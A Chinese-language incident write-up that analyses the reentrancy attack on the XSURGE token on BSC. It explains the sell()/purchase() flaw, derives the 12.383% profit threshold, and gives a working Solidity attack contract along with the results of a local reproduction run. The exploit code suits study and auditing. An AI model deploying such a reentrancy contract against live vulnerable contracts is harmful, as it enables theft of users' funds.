前言
BSC 链的 DeFi 协议 XSURGE 遭到攻击,攻击过程比较有意思,分析记录下
分析
基础信息
攻击tx:0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2
攻击合约:0x1514AAA4dCF56c4Aa90da6a4ed19118E6800dc46
SurgeToken:0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21

攻击流程

这里有个小细节,代币转移流程中的顺序是按照事件先后顺序来显示的,而重入之后的买操作引起的事件会在卖操作引起的事件之前,所以在流程中看到的每一个单独的重入攻击中是 SURGE 的买入发生在卖出之前
漏洞原理
漏洞点在于 SurgeToken 合约中的sell()函数,其中对调用者msg.sender的 BNB 转账采用的call()函数,并且在转账之后才更新代币总量_totalSupply,是典型的重入漏洞场景

虽然sell()函数使用了nonReentrant修饰防止了重入,但purchase()函数并没有。重入转回 BNB 给合约,触发fallback函数调用purchase(),由于_totalSupply尚未减去卖出量,而导致可买入相较正常更多的 SURGE 代币

复现
价格分析
sell()函数卖出过程中,输入tokenAmount与输出amountBNB的关系:
purchase()函数买入过程中,输入bnbAmount与输出tokensToSend的关系:
在重入过程中,sell()函数卖出后获得的 BNB 通过重入打回 SurgeToken 合约传入purchase()函数
故令sell()函数的输出$amountBNB$与purchase()函数的输入$bnbAmount$相等,可得到整个利用流程中输入与输出的关系:
若要实现套利,则需要输出大于输入,据此建立不等式:
化简得:
也就是说,重入套利过程中调用sell()卖出的代币量必须在代币总量的12.383%以上
复现演示
部署 SurgeToken 合约,为方便调试,将其中mint()函数可见性改为public,并为构造函数增加payable修饰,在部署时传入$10^{15}$ wei
部署攻击合约,代码如下:
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
interface Victim {
function sell(uint256) external returns (bool);
}
contract test {
Victim victim;
event LOG(bool);
constructor(address v) public {
victim = Victim(v);
}
function Attack(uint256 n) public {
victim.sell(n);
}
function balance() public view returns (uint256) {
return address(this).balance;
}
receive() external payable {
address(victim).call{value:msg.value}("");
}
}
SurgeToken合约初始化的代币总量为$10^9$,根据前面推导出的结论,为攻击合约铸币 200000000(攻击成本),则攻击合约拥有大约Surge代币总量16%的代币

攻击合约调用Attack()函数攻击,查看攻击合约的代币余额已变为209549307,获利9549307

总结
典型的重入漏洞场景,教科书级的案例